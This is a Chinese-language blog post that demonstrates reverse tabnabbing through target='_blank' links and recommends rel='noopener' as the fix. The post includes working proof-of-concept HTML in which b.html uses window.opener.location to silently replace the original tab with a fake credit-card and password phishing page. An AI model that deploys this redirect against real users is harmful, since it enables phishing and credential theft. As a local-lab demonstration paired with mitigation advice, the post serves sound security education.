1. 程式人生 > >實戰重現隱藏在A標籤_blank下的危險漏洞,簡略說明noopener的作用

實戰重現隱藏在A標籤_blank下的危險漏洞,簡略說明noopener的作用

前幾日,在看阮一峰老師的部落格文章中,發現了這麼一篇 。標題為 《target = "_blank" 的危險性(英文)》。這篇文章同事看過之後因為不理解其中的危險之處,念念不忘,於是這裡我們來重現一下這個漏洞。

首先做點準備:

  1. 準備兩個域名 a.com b.com 分別解析到 127.0.0.1
  2. 準備好兩個域名對應的http服務
  3. chrome瀏覽器

正式開始

首先在a.com下 建立1.html 寫入程式碼

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
		
    </head>
    <body>
		<input type="text" value="信用卡+密碼錶單">
		<a href="http://b.com/b.html" target="_blank" >B站</a>
    </body>
</html>

  在程式碼中,我們建立了一個A標籤,連結到B站點,地址為 http://b.com/b.html 開啟方式為 新標籤頁開啟 也就是target="_blank"

將這個1.html檔案複製一份到b站點的目錄中並修改程式碼為

 1 <!DOCTYPE html>
 2 <html>
 3     <head>
 4         <meta charset="UTF-8">
 5         <meta name="viewport" content="width=device-width, initial-scale=1.0"
> 6 7 </head> 8 <body> 9 <input type="text" value="信用卡+密碼錶單+釣魚頁面"> 10 <a href="http://b.com/b.html" target="_blank" >B站</a> 11 </body> 12 </html>

 

注意紅色部分,這裡是為了區分第一個頁面加的標記。準備好以後再建立一個b.html滿足A標籤的目標檔案。

程式碼為

<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <script>
            function dosth(){
                window.opener.location = "http://b.com/1.html";
                alert("OK");
            }
        </script>
    </head>
    <body>
        <p>B站</p>
        <button type="button" onclick="dosth();">js</button>

    </body>
</html>

  

  至此程式碼準備完畢,開始重現漏洞觸發過程

開啟Chrome ,當前版本為

輸入a.com/1.html 訪問

點選A標籤 B站 此時彈出新頁面

點選那個說大不大說小不小的JS按鈕,執行一段神不知鬼不覺的JS

 

此時回去看上一個頁面 已經神不知鬼不覺的變成了一個釣魚頁面

 

 至此,整個漏洞利用的攻擊過程結束。

 

那麼只要有A標籤的地方,並且使用了_blank的方式開啟,那麼都會有這個被釣魚的風險。怎麼避免風險呢,

如果你是一個普通使用者,那麼在輸入敏感資訊之前,一定一定一定要確認當前的url是不是正確的url,也就是防釣魚的那一套。

如果你是一個開發者,那麼請在你的網站上面,所有類似的A標籤上加入屬性 rel="noopener" 來防止這個漏洞被利用

但是這裡要值得一提的是,noopener並不是所有瀏覽器都支援的,它的支援程度如下圖

 

無腦一點的方案就是 rel="nofollow noopener noreferrer"  這樣來阻止。

到此本文最初的目的“最簡單的實現一次這個漏洞攻擊”已經達到了,還有一些細節沒有補充,具體可以閱讀原文

https://www.tutorialdocs.com/article/html-opener-blank.html 來了解更多詳情。